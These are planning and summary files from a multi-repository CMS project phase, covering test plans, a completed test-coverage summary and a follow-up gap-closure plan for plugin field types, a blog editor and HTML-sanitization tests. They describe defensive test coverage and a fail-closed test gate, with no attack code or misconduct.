<action>Write the Go tests listed in the behavior block (per D-02, D-05, D-10, D-11, D-12, D-14, D-18, D-19), table-driven where the cases share a shape. Extend plan 03's TestEditorOutputPassesPolicy and TestSanitizeHTMLReport in place rather than duplicating them. cabana unit tests use no database (DryRun handles, stubs, the recording writer, httptest with principalCtx-style contexts); TestFieldTypeSavePostgres reuses the existing testcontainers fixture pattern and fails, not skips, without Docker. The Journal root-package TestCategoriesAdminBlogEditor uses newPostsEnv-style harness setup for the categories controller. Do not change production code; if a test exposes a defect, fix it in a separate fix(...) commit with its own test and record it in the SUMMARY. Commit per repository as test(...) commits, staged by explicit path.</action>
<verify>
<automated>go vet ./modules/pact ./modules/cabana &amp;&amp; go test -count=1 ./modules/pact &amp;&amp; go test -count=1 -run '^(TestFieldTypeRegistry|TestFieldTypeOptions|TestFieldTypeCompile|TestFieldTypeDecode|TestFieldTypeNotices|TestFieldTypeUntouched|TestFieldTypeLoad|TestFieldTypeListValue|TestFieldTypeWrites|TestFieldTypesRoute|TestFieldUpload|TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 13</automated>
<fails_when>Non-zero exit: vet or the pact package fails, or fewer than thirteen top-level "--- PASS: Test" lines for the named cabana tests (one missing or failing).</fails_when>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode|TestBlogEditorNotices|TestBlogEditorLoad|TestLooksLikeHTML|TestBlogEditorOptions|TestBlogEditorListValue|TestBlogEditorUpload|TestStoreMedia|TestEditorOutputPassesPolicy|TestSanitizeHTMLReport)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 10</automated>
<fails_when>Non-zero exit: vet fails, a classes or controllers test fails, or fewer than ten "--- PASS: Test" lines for the named Journal classes tests (a strip, notice, report, corpus or upload case regressed).</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestFieldTypeSavePostgres" modules/cabana/field_type_postgres_test.go` and `grep -n "func TestCategoriesAdminBlogEditor" ../sm-journal-plugin/categories_admin_editor_test.go` each print one line, and both files pass go vet.
- The thirteen named cabana tests and ten named Journal classes tests pass; `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` passes.
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0 (the 16.1 policy tests are not weakened).
- For each repository, `git diff --stat "$TASK2_START"..HEAD` (TASK2_START is that repository's head recorded in the SUMMARY before this task) lists only *_test.go files, except files of separate fix(...) commits that the SUMMARY names.
</acceptance_criteria>
<done>Every Go behaviour of the phase has a passing unit test here, and the database-backed paths have Postgres tests for the Docker host.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Full JS coverage (admin, editor, layer), the phase gate script and the validation map</name>
<files>admin/tests/app/fieldTypes.test.ts, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/form/FormField.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/tests/blogeditor/schema.test.ts, ../sm-journal-plugin/tests/blogeditor/serializer.test.ts, ../sm-journal-plugin/tests/blogeditor/embed.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, scripts/check-phase16.2.sh, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</files>
<read_first>admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/views/ListView.vue, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, admin/src/components/form/FormField.vue, scripts/check-phase16.sh (fail-closed stage and detector style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</read_first>
<behavior>
- fieldTypes: each script URL loads once even when loadFieldTypes runs twice; global styles stay enabled after activateStyles for any controller; a failed GET or script does not reject; URLs outside the asset prefix are refused.
- registry: rendererForField returns PluginField, MLPluginField or the core renderer; isRegisteredField true for plugin fields; groupLabelled true for plugin fields. formState: isMLField fields get locale maps in initial values and editable payloads; noticeLines groups notices by field with the locale prefix. FormField: notices render as literal text in a status line linked by aria-describedby, none without notices. ListView: an unknown column type renders the row value as text.
- Editor schema: every rawHtml tag rule, figure shapes (img only, img plus figcaption, other content to rawHtml), span mark, global attributes on each modelled type, link attributes without defaults and javascript: refused, table rendering without colgroup, thead kept, cell paragraph unwrapping, no trailing paragraph, rawHtml card escaping.
- Serializer: block reuse after one edit, after a deletion and after an insertion; whitespace between blocks kept for reused runs.
- Embed: parseEmbedUrl table (watch, youtu.be, shorts, embed, extra query params, 10 and 12 character ids, other hosts, javascript:), node round trip, insert flow; isPolicyUrl table (http, https, mailto, relative, #fragment accepted; javascript:, vbscript:, data:, tel: and tab- or newline-split schemes refused); upload flow timeout and mismatched id; labels pl and en with en fallback; disabled and invalid attributes.
- Layer: expandEmbeds table (valid, invalid id, unknown provider, extra attribute, attribute order swapped, two placeholders, empty input); the sanitize-then-expand pipeline at the sink and the payload-then-sink pipeline (stored iframe stripped, placeholder expanded, expansion output never sanitized again); the mirror: every corpus entry safe, the four rules accepted, the negative cases stripped, existing htmlGate cases unchanged.
- Gate: stages go, admin, editor, layer, docs run fail-closed (a go run with "no tests to run", a skip or a missing named test fails; a node run with "not ok" or "# fail" non-zero fails); the editor stage includes corpus.test.ts and the go stage the Journal policy cross-check; the layer stage fails when the layer's tests/fixtures/editor-corpus.json differs from the plugin's (cmp); --self-test proves the detectors and the corpus comparison fail on planted output; --all ends with "Phase 16.2 gate passed"; the postgres stage runs the Docker suites (including TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent) and is documented as Docker-host only.
</behavior>
<action>Write the JS tests in the behavior block (per D-03, D-04, D-05, D-10, D-13, D-14, D-17, D-18) in each repository's existing runner (admin vitest, plugin vitest, layer node:test with erasable TypeScript only). Write scripts/check-phase16.2.sh in the check-phase16.sh style (set -euo pipefail, unset FORCE_COLOR, ROOT from the script path, overridable JOURNAL and LAYER paths, required-test name lists per stage, the go and node detectors, --self-test, --all, stage names go, admin, editor, layer, docs, postgres; the docs stage runs TestDocsTree, check-admin-openapi.sh --check, check-admin-dist.sh and the plugin check-dist.sh). Update 16.2-VALIDATION.md: fill the per-task map with the real task IDs (16.2-01-T2 and so on, including the strip, notices, corpus and category rows added in the 2026-10-10 revision), commands and statuses, tick Wave 0, set wave_0_complete and nyquist_compliant to true, and keep the Manual-Only rows (Docker-host suites; UAT editing and the UAT strip check, which plan 05 recorded). Commit tests per repository as test(...) commits, the script as "test(16.2): phase gate", and VALIDATION.md separately as docs(16.2), staged by explicit path.</action>
<verify>
<automated>npm --prefix admin test &amp;&amp; ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin &amp;&amp; npm --prefix ../vue-journal-layer test 2&gt;&amp;1 | grep -E '^# fail 0$'</automated>
<fails_when>Non-zero exit or no "# fail 0" line: an admin or editor vitest file fails, or a layer node test fails.</fails_when>
<automated>bash scripts/check-phase16.2.sh --self-test &amp;&amp; bash scripts/check-phase16.2.sh --all 2&gt;&amp;1 | tail -1 | grep -qx 'Phase 16.2 gate passed'</automated>
<fails_when>Non-zero exit: a detector self-test does not fail on planted output, or the last line of the --all run is not exactly "Phase 16.2 gate passed" (a stage failed or a required test is missing).</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "Phase 16.2 gate passed" scripts/check-phase16.2.sh` prints at least one line, and the --all run ends with that line.
- `grep -n "nyquist_compliant: true" .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md` prints one line and the per-task map has no "TBD" task IDs.
- The admin, editor and layer suites pass in full.
</acceptance_criteria>
<done>The JS code of the phase is fully tested, the phase gate passes here, and the validation map is complete with the Docker-host suites listed as manual.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
| tests → network | no test reaches UAT, the npm registry or git origin |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-28 | Tampering | test isolation | low | mitigate | Pure tests use stubs, DryRun handles on a DSN that is never dialled, memblob and happy-dom; Postgres tests use testcontainers; no ssh or curl in any test |
| T-16.2-29 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for "no tests to run", skips, missing named tests and node "# fail"; --self-test proves them; Docker suites are named as manual rows, not silently skipped |
| T-16.2-30 | Tampering (security regression) | strip, policy and permission tests | medium | mitigate | The strip-and-report cases (35 payloads, report property, category strip), the editor-corpus cross-check against both policies and the corpus-copy comparison, upload sniffing, alias collision, upload permission and sanitize-then-expand order are explicit tests in the fail-closed gate, and the 16.1 policy test files are diff-checked against c60abc6, so a later change that weakens them fails the gate |
| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: every runner uses the lockfiles committed in plans 01, 02 and 04 |
</threat_model>
<verification>
- Task 1: the four layer checks of the resave contract pass and the Postgres test compiles.
- Task 2: the named cabana and Journal tests pass; the Postgres tests compile.
- Task 3: all JS suites pass, the gate self-test and --all pass, VALIDATION.md is complete.
- Before /msd-verify-work, on a Docker host: `bash scripts/check-phase16.2.sh postgres`.
</verification>
<success_criteria>
- Full unit coverage of the phase's code (lean rule 3), the folded todo's acceptance test tightened, Postgres tests ready for the Docker host, a passing fail-closed phase gate.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md` when done, with the test counts per repository, any fix(...) commits, and the Docker-host command list.
</output>

View File

@@ -0,0 +1,277 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 06
subsystem: testing
tags: [unit-tests, vitest, node-test, testcontainers, phase-gate, cabana, pact, blog-editor, embeds, d-03]
requires:
- phase: 16.2-01
provides: pact field type API (ListValue takes ctx), cabana registry, decode, skip, load, list, writes, routes, SPA PluginField/MLPluginField and fieldTypes loader
- phase: 16.2-02
provides: golem15-journal-blogeditor element, schema, serializer, embeds, editor corpus
- phase: 16.2-03
provides: Journal blogeditor/mlblogeditor types, SanitizeHTMLReport, StoreMedia, posts and category hooks
- phase: 16.2-04
provides: vue-journal-layer expandEmbeds and the four-rule sanitizer mirror
- phase: 16.2-05
provides: UAT release (v0.1.18) plus the untagged preview pane (quick 261010-iwu) and the admin View site link
provides:
- "Full unit coverage of the phase across summercms.go, sm-journal-plugin and vue-journal-layer (lean rule 3)"
- "The imported-post resave contract (D-03) pinned at the element, PluginField, cabana, Journal Load and Postgres layers"
- "Postgres tests for a Docker host: TestFieldTypeSavePostgres, TestCategoriesAdminBlogEditor, the three-stage TestPostsAdminResaveKeepsHTML"
- "scripts/check-phase16.2.sh: fail-closed stages go, admin, editor, layer, docs, postgres with go/vitest-JSON/TAP detectors and a self-test"
- "16.2-VALIDATION.md map filled with real task IDs, nyquist_compliant and wave_0_complete true"
affects: [16.2 verify-work, v0.1.19 tag, sm-journal-plugin, vue-journal-layer]
actuals:
tokens: 58692
tasks: 3
commits: 5
plan_head_before: c07da3912b1cc4b5d112200f7af16c5ad3061d02
plan_head_after: 7e113013a364f8e1668d0b5033e183204ec18d9f
plugin_commits_repo: ../sm-journal-plugin
plugin_head_before: 2c78211cb90e27cf8515b104613c3eac1a0aca5f
plugin_head_after: 85963b19eff80530c301454095377cde1350621a
plugin_commits: 4
layer_commits_repo: ../vue-journal-layer
layer_head_before: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
layer_head_after: 782aa4da7d618b0d7e678421fc02dee29e5b9f54
layer_commits: 1
task2_start:
summercms.go: 08a2002
sm-journal-plugin: d5a5413
tech-stack:
added: []
patterns:
- "vitest JSON-reporter detector: a failed, skipped or todo test, a failed file, no passing test or a missing required file or test name fails the gate"
- "Docker-only stages are explicit: --all runs postgres only when a daemon answers and otherwise prints NOT RUN; the stage itself fails without Docker"
- "Edited-block markup compared by shape (element, sorted attributes, text), byte comparison kept for untouched blocks"
key-files:
created:
- modules/pact/field_type_test.go
- modules/cabana/field_type_test.go
- modules/cabana/field_type_postgres_test.go
- admin/tests/app/fieldTypes.test.ts
- scripts/check-phase16.2.sh
- ../sm-journal-plugin/classes/blog_editor_test.go
- ../sm-journal-plugin/controllers/posts_editor_test.go
- ../sm-journal-plugin/categories_admin_editor_test.go
- ../sm-journal-plugin/tests/blogeditor/element.test.ts
- ../sm-journal-plugin/tests/blogeditor/schema.test.ts
- ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
- ../sm-journal-plugin/tests/blogeditor/embed.test.ts
modified:
- admin/tests/form/PluginField.test.ts
- admin/tests/form/FormField.test.ts
- admin/tests/form/registry.test.ts
- admin/tests/form/formState.test.ts
- admin/tests/list/ListView.test.ts
- admin/tests/shell/AppShell.test.ts
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
- .planning/WINDOWS.md
- ../sm-journal-plugin/classes/editor_policy_test.go
- ../sm-journal-plugin/classes/media_store_test.go
- ../sm-journal-plugin/posts_admin_smoke_test.go
- ../sm-journal-plugin/vite.config.ts
- ../vue-journal-layer/tests/embeds.test.ts
- ../vue-journal-layer/tests/htmlGate.test.ts
key-decisions:
- "The Postgres resave test adapts the plan's locales to the harness: en is the host locale and pl the translation, as plan 03 already recorded"
- "check-phase16.2.sh --all runs the postgres stage only when a Docker daemon answers; without one it prints a loud NOT RUN block and still ends with 'Phase 16.2 gate passed' for the runnable stages. The postgres stage invoked directly fails without Docker, and PHASE162_REQUIRE_POSTGRES=1 makes --all fail too"
- "Edited (re-serialized) blocks are compared by element, attribute set and text rather than bytes: attribute order and the DOM's style normalization change there by design (plan 02); untouched blocks keep the byte comparison"
- "The happy-dom iframe page loading is disabled in the editor tests so no test reaches the network (T-16.2-28)"
patterns-established:
- "A phase gate names its required tests per stage and fails on a missing one, a skip, a todo or zero tests, in Go, vitest and node:test alike"
requirements-completed: [D-02, D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
coverage:
- id: D1
description: "Imported-post resave contract (D-03): untouched value unchanged at the element (Source tab, tab buttons, preview, reattach), PluginField never re-sets an echoed value, cabana writes and reports nothing for a served value, Journal Load serves HTML verbatim and markdown as content_html"
requirement: D-03
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/element.test.ts"
status: pass
- kind: unit
ref: "admin/tests/form/PluginField.test.ts#untouched value (D-03)"
status: pass
- kind: unit
ref: "modules/cabana/field_type_test.go#TestFieldTypeUntouched"
status: pass
- kind: unit
ref: "../sm-journal-plugin/classes/blog_editor_test.go#TestBlogEditorLoad"
status: pass
human_judgment: false
- id: D2
description: "Framework coverage: pact FormFieldError, boot rules, compile, decode 422/500, localized capped notices, Load, ListValue, writes, field-types and upload routes"
requirement: D-11
verification:
- kind: unit
ref: "bash scripts/check-phase16.2.sh go (19 named framework tests)"
status: pass
human_judgment: false
- id: D3
description: "Journal coverage: Decode strip-and-report over the 35 payloads, notices and plural forms, LooksLikeHTML, options, ListValue, Upload sniffing and safe names, StoreMedia, policy corpus cross-check, posts hooks"
requirement: D-10
verification:
- kind: unit
ref: "bash scripts/check-phase16.2.sh go (20 named Journal tests, 16.1 policy tests unchanged since c60abc6)"
status: pass
human_judgment: false
- id: D4
description: "JS coverage: admin fieldTypes, registry, formState, FormField, ListView, AppShell View site; editor schema, serializer, embed, preview; layer expandEmbeds order and mirror negatives; corpus copies identical"
requirement: D-13
verification:
- kind: unit
ref: "bash scripts/check-phase16.2.sh admin (1218 tests, 78 files)"
status: pass
- kind: unit
ref: "bash scripts/check-phase16.2.sh editor (220 tests, 7 files)"
status: pass
- kind: unit
ref: "bash scripts/check-phase16.2.sh layer (144 tests, corpus cmp)"
status: pass
human_judgment: false
- id: D5
description: "Phase gate and validation map"
verification:
- kind: other
ref: "bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all -> Phase 16.2 gate passed"
status: pass
human_judgment: false
- id: D6
description: "Postgres-backed suites: TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML (HTML, markdown, edited), TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor, TestJournalSVGEmbed and the rest of the testcontainers suites"
requirement: D-18
verification: []
human_judgment: true
rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and fail rather than skip here. Run bash scripts/check-phase16.2.sh postgres on a Docker host before /msd-verify-work"
duration: 43min
completed: 2026-10-10
status: complete
---
# Phase 16.2 Plan 06: Unit Coverage, Postgres Tests and Phase Gate Summary
**Every Phase 16.2 behaviour is now pinned by a test that fails on regression: the untouched-resave contract at five layers, the framework's field type rules and routes, the Journal editor types, storage and policy cross-check, the editor element, schema, serializer and embeds, the layer's sanitize-then-expand order, and a fail-closed gate (`scripts/check-phase16.2.sh`) that passes here with the Docker-only suites reported as NOT RUN.**
## Performance
- **Duration:** 43 min
- **Started:** 2026-10-10T13:34:11Z
- **Completed:** 2026-10-10T14:17Z
- **Tasks:** 3 (tracer, Go coverage, JS coverage plus gate and validation map)
- **Files:** 26 test, script and planning files across three repositories (14 created, 12 modified), plus one test config (`vite.config.ts`)
## Accomplishments
- **Tracer (Task 1, D-03, D-07):** element.test.ts (15 cases: Source tab, tab buttons, echo, preview, reattach, a real Source edit); PluginField echo-on-connect stub; `TestFieldTypeUntouched` (served values skip Decode, writes and notices; one changed locale only; canonical JSON; create never skips); `TestBlogEditorLoad`; `TestPostsAdminResaveKeepsHTML` rewritten in three stages (HTML post, markdown post with imported content_html, edited clean save), byte comparisons without TrimSpace and no meta.notices.
- **Go (Task 2):** pact `TestFormFieldErrorMessage`, `TestFormFieldTypeContract`; cabana `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload`; Docker `TestFieldTypeSavePostgres`. Journal `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia`, extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport`, `TestPostsEditorHooks`, Docker `TestCategoriesAdminBlogEditor`.
- **JS (Task 3):** admin `fieldTypes.test.ts` (new) plus registry, formState, FormField, ListView and AppShell (View site: href `origin + "/"`, `_blank`, `noopener noreferrer`, en/pl label and phrasebook keys); editor `schema`, `serializer`, `embed` tests (new) next to the existing smoke, corpus and preview tests; layer embeds (order at the sinks, exact-serialization only, stable global regex, fixed src) and htmlGate (four rules accept, Go negatives stripped, corpus free of danger).
- **Gate:** `scripts/check-phase16.2.sh` with stages go, admin, editor, layer, docs, postgres, `--self-test` (go, TAP and vitest-JSON detectors plus the corpus `cmp` on planted output) and `--all`.
- **Validation map:** every row has real task IDs, commands and statuses; Docker suites are manual rows; `nyquist_compliant: true`, `wave_0_complete: true`.
## Test counts per repository
| Repository | Suite | Before | After |
|---|---|---|---|
| summercms.go | Go: new top-level tests in pact and cabana | — | 13 (12 run here + `TestFieldTypeSavePostgres` for Docker) |
| summercms.go | admin vitest | 1190 tests (plan 01), 77 files | 1218 tests, 78 files |
| sm-journal-plugin | Go classes/controllers new top-level tests | — | 9 (+2 extended in place) |
| sm-journal-plugin | Go root (Docker) | — | `TestCategoriesAdminBlogEditor` new, `TestPostsAdminResaveKeepsHTML` rewritten |
| sm-journal-plugin | editor vitest | 55 tests, 3 files | 220 tests, 7 files |
| vue-journal-layer | node --test | 136 | 144 |
## Task Commits
**summercms.go**
1. Task 1: `08a2002` test(16.2-06): pin the untouched-value skip in cabana and PluginField
2. Task 2: `3404a4b` test(16.2-06): full unit coverage of the plugin field type framework
3. Task 3: `9f5e807` test(16.2-06): admin SPA coverage of plugin field types and View site; `3da2fd6` test(16.2): phase gate; `7e11301` docs(16.2): complete the validation map
**sm-journal-plugin**
1. Task 1: `d5a5413` test(16.2-06): pin the imported-post resave contract
2. Task 2: `da7a073` test(16.2-06): full unit coverage of the Journal Blog Editor field types
3. Task 3: `a578dda` test(16.2-06): Blog Editor schema, serializer and embed coverage; `85963b1` test(16.2-06): keep happy-dom iframe pages offline in the editor tests
**vue-journal-layer**
3. Task 3: `782aa4d` test: pin embed expansion order and the editor policy mirror
No fix(...) commit: no test exposed a production defect. Nothing was pushed or tagged.
## Verification
- Task 1 verify: element vitest 15/15, PluginField 17/17, `--- PASS: TestFieldTypeUntouched`, `--- PASS: TestBlogEditorLoad`, `go -C ../sm-journal-plugin vet ./...` clean.
- Task 2 verify: 13 of 13 named cabana tests pass, 10 of 10 named Journal classes tests pass, `TestPostsEditorHooks` passes, vet clean in both repositories; `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0; Task 2's diffs (`08a2002..3404a4b`, `d5a5413..da7a073`) hold only `*_test.go` files.
- Task 3 verify: admin 1218/1218, editor 220/220, layer `# fail 0` (144 pass); `check-phase16.2.sh --self-test` passes; `--all` ends with `Phase 16.2 gate passed` (go, admin, editor, layer, docs PASS; postgres NOT RUN).
- Typecheck: `vue-tsc --noEmit` (admin) and `tsc --noEmit` (plugin) clean; `check-dist.sh` and `check-admin-dist.sh` report current bundles.
- Full `go test ./...`: the only failures in summercms.go (beachcomber, bouncer, cabana, conga, lagoon, lagoon/attach, lighthouse, postcard, docs/examples/blog) and sm-journal-plugin (root, models, updates) are the testcontainers suites failing on `docker.sock: permission denied`; no other failing test line.
## Docker-host command list (not run here)
```
bash scripts/check-phase16.2.sh postgres
# which runs, fail-closed:
go test -json -count=1 -timeout 15m ./modules/cabana # requires TestFieldTypeSavePostgres, TestListRelationSearchPostgres
go -C ../sm-journal-plugin test -json -count=1 -timeout 20m ./... # requires TestPostsFormCompiles, TestPostsAdminCreateSmoke,
# TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent,
# TestCategoriesAdminBlogEditor, TestJournalSVGEmbed
```
These cover WINDOWS entries 11, 12, 14, 15, 16, 20 and 21.
## Decisions Made
See key-decisions in the frontmatter.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 2 - Test isolation] happy-dom loaded remote iframe pages in the editor tests**
- **Found during:** Task 1 (baseline run of the plugin vitest suite)
- **Issue:** The quick-task preview tests put payloads with `https://example.test/` iframes into the preview frame's srcdoc; happy-dom tried to fetch them (12 `getaddrinfo ENOTFOUND example.test` per run). The threat model (T-16.2-28) says no test reaches the network.
- **Fix:** `test.environmentOptions.happyDOM.settings.disableIframePageLoading: true` in the plugin's `vite.config.ts` (test block only; the build output is unchanged, `check-dist.sh` passes). The admin suite was checked and makes no such request.
- **Files modified:** ../sm-journal-plugin/vite.config.ts
- **Commit:** 85963b1
**2. [Plan text] Locales of the Postgres resave test**
- **Issue:** The plan says "pl and en ... no en translation row ... en content_html translation" with pl as host; the harness (`bootJournal`) makes en the default locale and pl the translation (as plan 03 recorded).
- **Fix:** host assertions on en; the untouched empty value and the translation assertions on pl. The untouched-empty check compares pl `content`/`content_html` presence and the translation row count before and after the PUT.
- **Commit:** d5a5413
**3. [Plan text] Edited-block markup compared by shape**
- **Issue:** schema tests that serialize a whole document from the model saw attribute order and style normalization differ from the source (`<a class="more" data-id="7" href="/a">`, `color: red;`). This is plan 02's documented behaviour for edited blocks, not a defect.
- **Fix:** those cases compare element names, sorted attributes and text; untouched blocks keep byte comparisons everywhere.
- **Commit:** a578dda
**4. Files outside the plan's list**
- `admin/tests/shell/AppShell.test.ts` (the View site link test the orchestrator asked for), `../sm-journal-plugin/vite.config.ts` (deviation 1), `.planning/WINDOWS.md` (entries 20 and 21).
---
**Total deviations:** 1 auto-fixed (test isolation) plus 2 plan-text adaptations and the listed extra files. **Impact:** no production code changed; no assertion that describes shipped behaviour was relaxed (the 16.1 policy test files are unchanged since c60abc6).
## Issues Encountered
- No Docker on this host: the Postgres suites compile under go vet and fail rather than skip; see the Docker-host command list.
## Known Stubs
None.
## Next Phase Readiness
- Run `bash scripts/check-phase16.2.sh postgres` on a Docker host, then /msd-verify-work 16.2 (WINDOWS 18 and 19 remain human UAT items from plan 05).
- The orchestrator tags v0.1.19 separately.
- STATE.md and ROADMAP.md updates are pending: another session holds uncommitted edits to them (see below).
## Self-Check: PASSED
- Created files exist: modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, admin/tests/app/fieldTypes.test.ts, scripts/check-phase16.2.sh, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go, ../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts.
- Commits exist: summercms.go 08a2002, 3404a4b, 9f5e807, 3da2fd6, 7e11301; sm-journal-plugin d5a5413, da7a073, a578dda, 85963b1; vue-journal-layer 782aa4d.

View File

@@ -0,0 +1,690 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 07
type: execute
wave: 5
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04", "16.2-05", "16.2-06"]
gap_closure: true
gap_ids: [G-16.2-1, G-16.2-2]
files_modified:
- modules/cabana/openapi_conformance_test.go
- scripts/check-phase16.2.sh
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
- ../sm-journal-plugin/classes/site_cache.go
- ../sm-journal-plugin/classes/site_cache_test.go
- ../sm-journal-plugin/plugin.go
- ../sm-journal-plugin/controllers/categories.go
- ../sm-journal-plugin/controllers/posts.go
- ../sm-journal-plugin/controllers/admin_registry.go
- ../sm-journal-plugin/site_cache_admin_test.go
- ../sm-journal-plugin/plugin_test.go
- ../sm-journal-plugin/README.md
- ../sm-journal-plugin/go.mod
- ../vue-journal-layer/nuxt.config.ts
- ../vue-journal-layer/app/utils/siteCache.ts
- ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts
- ../vue-journal-layer/server/plugins/journal-revalidate.ts
- ../vue-journal-layer/testing/fixture-api.mjs
- ../vue-journal-layer/testing/purge-check.mjs
- ../vue-journal-layer/.playground/nuxt.config.ts
- ../vue-journal-layer/tests/siteCache.test.ts
- ../vue-journal-layer/README.md
- ../vue-journal-layer/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
- ../sm-grzybyfunkcjonalne-app/deploy/env.example
- ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
- ../sm-grzybyfunkcjonalne-app/README.md
autonomous: false
requirements: [D-03, D-13, D-18, D-19]
user_setup:
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
why: "The executor holds no UAT basic-auth or admin credentials. A human re-saves posts 1 and 64 untouched (UAT Test 3, D-03) and edits one word of category 2 (UAT Test 2, D-19), then checks the public category page in a browser."
dashboard_config:
- task: "Log in to the admin through the UAT basic-auth realm with an admin account that may edit posts and categories"
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
estimate:
tokens: 220000
raw_tokens: 220000
tasks: 6
confidence: low
must_haves:
truths:
- "G-16.2-1: on this Docker host `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all` prints `PASS postgres` and `PASS cache` and ends with `Phase 16.2 gate passed`; the postgres stage requires TestPhase10OpenAPIConformance, TestJournalSVGEmbed and every Journal admin harness suite named in UAT Test 1 (TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor) by name, and they pass."
- "G-16.2-1 (D-13, D-18): TestPhase10OpenAPIConformance calls GET /field-types (200, decoded into cabana.FieldTypesResponse with unknown fields disallowed, admin.json ref cabana.FieldTypesResponse, the fixture plugin's field type listed with a served script) and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (201, decoded into cabana.Envelope[cabana.FieldUploadResponse], ref cabana.Envelope-cabana_FieldUploadResponse, multipart part `file`)."
